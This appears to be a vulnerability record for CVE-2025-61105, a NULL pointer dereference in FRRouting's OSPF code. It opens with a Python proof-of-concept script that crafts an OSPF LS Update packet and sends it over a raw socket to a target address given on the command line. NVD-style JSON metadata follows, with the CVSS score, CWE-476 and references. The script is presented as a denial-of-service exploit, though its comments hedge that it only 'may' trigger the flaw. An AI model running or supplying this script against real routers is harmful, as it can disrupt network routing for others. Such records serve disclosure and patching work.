CVE-2025-61105

#!/usr/bin/env python3 # CVE-2025-61105 PoC - FRRouting NULL Pointer Dereference # This PoC demonstrates sending a crafted OSPF packet to trigger # the NULL pointer dereference in show_vty_link_info function import socket import struct import sys def create_crafted_ospf_packet(): """Create a malformed OSPF packet to trigger NULL pointer dereference""" # OSPF Header version = 2 # OSPF v2 msg_type = 4 # LS Update length = 0 router_id = b'\xc0\xa8\x01\x01' # 192.168.1.1 area_id = b'\x00\x00\x00\x00' # 0.0.0.0 checksum = 0 auth_type = 0 auth = b'\x00' * 8 ospf_header = struct.pack('!BBH4s4sHH', version, msg_type, length, router_id, area_id, checksum, auth_type) + auth # Crafted LSA header with malformed data # This may trigger NULL pointer in show_vty_link_info lsa_age = 1 lsa_type = 1 # Router-LSA lsa_id = b'\x00\x00\x00\x01' adv_router = router_id lsa_seq = 0x80000001 lsa_cksum = 0 length = 36 lsa_header = struct.pack('!HH4s4sIHH', lsa_age, lsa_type, lsa_id, adv_router, lsa_seq, lsa_cksum, length) # Malformed LSA body to trigger vulnerability lsa_body = b'\x00' * 20 # Malformed data return ospf_header + lsa_header + lsa_body def send_crafted_packet(target_ip, target_port=89): """Send the crafted OSPF packet to target""" packet = create_crafted_ospf_packet() sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_OSPFIGP) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Crafted OSPF packet sent to {target_ip}:{target_port}") print(f"[+] Packet length: {len(packet)} bytes") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-61105.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_crafted_packet(target_ip)

{"cve": {"id": "CVE-2025-61105", "sourceIdentifier": "[email protected]", "published": "2025-10-27T20:15:54.240", "lastModified": "2025-11-03T17:48:29.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FRRouting/frr from v4.0 through v10.4.1 was discovered to contain a NULL pointer dereference via the show_vty_link_info function at ospf_ext.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted OSPF packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndIncluding": "10.4.1", "matchCriteriaId": "B41245C0-85A2-4A77-BF46-27F573E6F588"}]}]}], "references": [{"url": "https://github.com/FRRouting/frr/issues/19471", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480/commits/fdd957408605d4a1766225630aafc7e6b7c3daf3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/s1awwhy/BugList/blob/main/CVE-2025-61105.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}